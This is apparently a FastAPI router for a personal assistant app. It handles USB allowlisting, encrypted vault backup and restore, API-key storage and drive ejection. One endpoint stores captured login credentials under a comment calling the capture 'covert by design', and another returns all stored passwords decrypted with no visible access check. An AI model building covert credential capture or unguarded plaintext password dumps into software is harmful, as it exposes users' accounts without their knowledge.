Spaces:
Running
Running
| from fastapi import HTTPException | |
| from fastapi import APIRouter | |
| from pydantic import BaseModel | |
| router = APIRouter() | |
| # Auto-seed master vault ledger on every startup | |
| try: | |
| from backend.services.master_vault_ledger import _auto_seed | |
| _auto_seed() | |
| except Exception: | |
| pass | |
| class UsbPolicy(BaseModel): | |
| device_id: str | |
| action: str | |
| class VaultFileOp(BaseModel): | |
| source_path: str | |
| target_path: str | |
| from backend.services.usb_monitor import get_db_path, extract_vid_pid, add_usb_to_allowlist, remove_usb_from_allowlist | |
| import sqlite3 | |
| async def get_authorized_drives(): | |
| try: | |
| with sqlite3.connect(get_db_path()) as conn: | |
| conn.execute('PRAGMA journal_mode=WAL') | |
| cursor = conn.cursor() | |
| cursor.execute("SELECT vendor_id, product_id FROM usb_allowlist") | |
| rows = cursor.fetchall() | |
| return [f"USB\\VID_{r[0]}&PID_{r[1]}" for r in rows] | |
| except Exception: | |
| return [] | |
| async def get_active_drives(): | |
| from backend.services.usb_monitor import get_active_usb_drives | |
| try: | |
| return get_active_usb_drives() | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| async def set_usb_policy(p: UsbPolicy): | |
| vid, pid = extract_vid_pid(p.device_id) | |
| if vid == "UNKNOWN" and pid == "UNKNOWN": | |
| vid, pid = p.device_id, "ANY" | |
| if p.action == "allow": | |
| add_usb_to_allowlist(vid, pid) | |
| elif p.action == "revoke": | |
| remove_usb_from_allowlist(vid, pid) | |
| return {"status": "ok"} | |
| class VaultBuildOp(BaseModel): | |
| mode: str = "full" | |
| target_filename: str | |
| async def api_build_vault(op: VaultBuildOp): | |
| """Builds a vault export (full or sanitized) locally.""" | |
| from backend.security.vault_builder import build_vault | |
| import os | |
| try: | |
| source_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) | |
| target_path = os.path.join(source_path, op.target_filename) | |
| # Enforce name based on mode for safety | |
| if op.mode == "sanitized": | |
| target_path = os.path.join(source_path, "OMEGA_CORE_V15_CLEAN.vault") | |
| final_path = await build_vault(op.mode, source_path, target_path) | |
| return {"status": "success", "target": final_path, "mode": op.mode} | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| async def encrypt_to_usb(op: VaultFileOp): | |
| """Full OMEGA Master Vault backup to USB.""" | |
| from backend.security.vault_builder import build_vault | |
| try: | |
| await build_vault("full", op.source_path, op.target_path) | |
| return { | |
| "status": "encrypted", | |
| "target": op.target_path, | |
| "message": "Full OMEGA vault β codebase + HF server + cloud server + Android APK + SQLite DB + allowlist + config encrypted to OMEGA_CORE_V15.vault" | |
| } | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| async def api_decrypt_from_usb(req: VaultFileOp): | |
| import asyncio | |
| import tempfile | |
| import os | |
| import shutil | |
| from backend.services.usb_vault import decrypt_directory | |
| async def _do_restore(): | |
| def _restore(): | |
| with tempfile.TemporaryDirectory() as staging_dir: | |
| # 1. Decrypt and Unzip into staging | |
| decrypt_directory(req.source_path, staging_dir) | |
| # 2. Auto-configure AppData on new PC | |
| appdata_staging = os.path.join(staging_dir, "JARVIS_OS_APPDATA") | |
| if os.path.exists(appdata_staging): | |
| appdata_target = os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'JARVIS_OS') | |
| shutil.copytree(appdata_staging, appdata_target, dirs_exist_ok=True) | |
| # 3. Restore Codebase or EXE | |
| code_staging = os.path.join(staging_dir, "F.R.I.D.A.Y - OMEGA") | |
| exe_staging = os.path.join(staging_dir, "JARVIS_OMEGA.exe") | |
| if os.path.exists(code_staging): | |
| shutil.copytree(code_staging, req.target_path, dirs_exist_ok=True) | |
| elif os.path.exists(exe_staging): | |
| os.makedirs(req.target_path, exist_ok=True) | |
| shutil.copy2(exe_staging, os.path.join(req.target_path, "JARVIS_OMEGA.exe")) | |
| await asyncio.to_thread(_restore) | |
| try: | |
| await _do_restore() | |
| return {"status": "success", "message": f"Successfully decrypted, unzipped, and auto-configured environment at {req.target_path}"} | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| class SecretRequest(BaseModel): | |
| key_name: str | |
| plain_value: str | |
| async def api_set_secret(req: SecretRequest): | |
| from backend.services.usb_vault import set_secret | |
| try: | |
| set_secret(req.key_name, req.plain_value) | |
| return {"status": "success", "message": f"Secret '{req.key_name}' securely encrypted and injected into vault."} | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| class DomainKeyRequest(BaseModel): | |
| domain: str | |
| api_key: str | |
| async def set_domain_key(req: DomainKeyRequest): | |
| """Securely injects one of the 14 hybrid multi-keys into the vault.""" | |
| from backend.services.usb_vault import set_secret, KeyDomain, KEY_DOMAIN_ENV_MAP | |
| try: | |
| domain_enum = KeyDomain(req.domain) | |
| env_var = KEY_DOMAIN_ENV_MAP[domain_enum] | |
| set_secret(env_var, req.api_key) | |
| return {"status": "success", "message": f"Successfully injected API key for domain '{domain_enum.value}' ({env_var})"} | |
| except ValueError: | |
| raise HTTPException(status_code=400, detail=f"Invalid domain. Must be one of: {[d.value for d in KeyDomain]}") | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| async def get_domain_keys_status(): | |
| """Returns a list of all 14 domains and whether they have a key configured.""" | |
| from backend.services.usb_vault import KeyDomain, KEY_DOMAIN_ENV_MAP, get_secret | |
| import os | |
| status = {} | |
| for domain in KeyDomain: | |
| env_var = KEY_DOMAIN_ENV_MAP[domain] | |
| has_key = bool(os.environ.get(env_var)) or bool(get_secret(env_var)) | |
| status[domain.value] = {"configured": has_key, "env_var": env_var} | |
| return status | |
| async def get_key_usage(): | |
| """Returns the token usage for all domains today.""" | |
| from backend.security.key_usage_tracker import get_today_usage_by_domain | |
| try: | |
| return get_today_usage_by_domain() | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| class CredentialRequest(BaseModel): | |
| site: str | |
| username: str | |
| password: str | |
| source: str = "sentinel" | |
| async def api_save_credential(req: CredentialRequest): | |
| from backend.services.usb_vault import cipher_suite | |
| from backend.services.usb_monitor import get_db_path | |
| from datetime import datetime | |
| try: | |
| encrypted_pass = cipher_suite.encrypt(req.password.encode('utf-8')) | |
| db_path = get_db_path() | |
| with sqlite3.connect(db_path) as conn: | |
| conn.execute('PRAGMA journal_mode=WAL') | |
| conn.execute( | |
| "INSERT INTO vault_credentials (site, username, password_enc, captured_at, source) VALUES (?, ?, ?, ?, ?)", | |
| (req.site, req.username, encrypted_pass, datetime.utcnow().isoformat(), req.source) | |
| ) | |
| conn.commit() | |
| # Silent β no WS broadcast. Credential capture is covert by design. | |
| return {"status": "success"} | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| async def api_get_credentials(): | |
| from backend.services.usb_vault import cipher_suite | |
| from backend.services.usb_monitor import get_db_path | |
| try: | |
| db_path = get_db_path() | |
| with sqlite3.connect(db_path) as conn: | |
| conn.execute('PRAGMA journal_mode=WAL') | |
| cursor = conn.cursor() | |
| cursor.execute("SELECT id, site, username, password_enc, captured_at, source FROM vault_credentials ORDER BY captured_at DESC") | |
| rows = cursor.fetchall() | |
| creds = [] | |
| for r in rows: | |
| try: | |
| decrypted = cipher_suite.decrypt(r[3]).decode('utf-8') | |
| except Exception: | |
| decrypted = "DECRYPTION_FAILED" | |
| creds.append({ | |
| "id": r[0], | |
| "site": r[1], | |
| "username": r[2], | |
| "password": decrypted, | |
| "captured_at": r[4], | |
| "source": r[5] | |
| }) | |
| return creds | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| async def eject_usb(drive: dict): | |
| """Ejects a USB drive β OS-specific: Windows DeviceIoControl, macOS diskutil, Linux udisksctl.""" | |
| import subprocess, os, sys | |
| if os.environ.get('CLOUD_ENV', 'false').lower() == 'true': | |
| return {"status": "skipped", "reason": "cloud env"} | |
| drive_letter = drive.get('drive_letter', '') | |
| if not drive_letter: | |
| raise HTTPException(status_code=400, detail="No drive_letter provided") | |
| try: | |
| platform = sys.platform | |
| if platform == "win32": | |
| dl = drive_letter.rstrip("\\").rstrip("/") | |
| import ctypes | |
| import ctypes.wintypes | |
| kernel32 = ctypes.windll.kernel32 | |
| GENERIC_READ = 0x80000000 | |
| GENERIC_WRITE = 0x40000000 | |
| FILE_SHARE_READ = 0x00000001 | |
| FILE_SHARE_WRITE = 0x00000002 | |
| OPEN_EXISTING = 3 | |
| IOCTL_STORAGE_EJECT_MEDIA = 0x2D4808 | |
| FSCTL_LOCK_VOLUME = 0x90018 | |
| FSCTL_DISMOUNT_VOLUME = 0x90020 | |
| hDevice = kernel32.CreateFileW(f"\\\\.\\{dl}", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None) | |
| if hDevice == -1 or hDevice == 0xffffffff: | |
| raise Exception("Device busy") | |
| returned = ctypes.wintypes.DWORD() | |
| lock_res = kernel32.DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, None, 0, None, 0, ctypes.byref(returned), None) | |
| if not lock_res: | |
| kernel32.CloseHandle(hDevice) | |
| raise Exception("Device busy") | |
| kernel32.DeviceIoControl(hDevice, FSCTL_DISMOUNT_VOLUME, None, 0, None, 0, ctypes.byref(returned), None) | |
| eject_res = kernel32.DeviceIoControl(hDevice, IOCTL_STORAGE_EJECT_MEDIA, None, 0, None, 0, ctypes.byref(returned), None) | |
| kernel32.CloseHandle(hDevice) | |
| if not eject_res: | |
| raise Exception("Device busy") | |
| elif platform == "darwin": | |
| subprocess.run(["diskutil", "unmount", drive_letter], capture_output=True, text=True, timeout=10, check=False) | |
| else: | |
| subprocess.run(["udisksctl", "unmount", "-b", drive_letter], capture_output=True, text=True, timeout=10, check=False) | |
| return {"status": "ejected", "drive_letter": drive_letter, "platform": platform} | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| # ββ MASTER VAULT LEDGER ROUTES ββββββββββββββββββββββββββββββββββββββββββββββββ | |
| async def get_vault_ledger(): | |
| """Returns the full Master Vault Ledger β all registered features, categories, and statuses.""" | |
| from backend.services.master_vault_ledger import get_full_ledger | |
| try: | |
| return get_full_ledger() | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| async def get_vault_ledger_summary(): | |
| """Returns a compact LLM-injectable summary of the entire Master Vault Ledger.""" | |
| from backend.services.master_vault_ledger import get_vault_summary | |
| try: | |
| return {"summary": get_vault_summary()} | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |
| class LedgerEntryRequest(BaseModel): | |
| feature_key: str | |
| category: str | |
| title: str | |
| description: str | |
| status: str = "active" | |
| async def post_vault_ledger_entry(req: LedgerEntryRequest): | |
| """Manually registers a new feature or updates an existing one in the Master Vault Ledger.""" | |
| from backend.services.master_vault_ledger import record_feature | |
| try: | |
| record_feature(req.feature_key, req.category, req.title, req.description, req.status) | |
| return {"status": "success", "message": f"Feature '{req.feature_key}' recorded in Master Vault Ledger."} | |
| except Exception as e: | |
| raise HTTPException(status_code=500, detail=str(e)) | |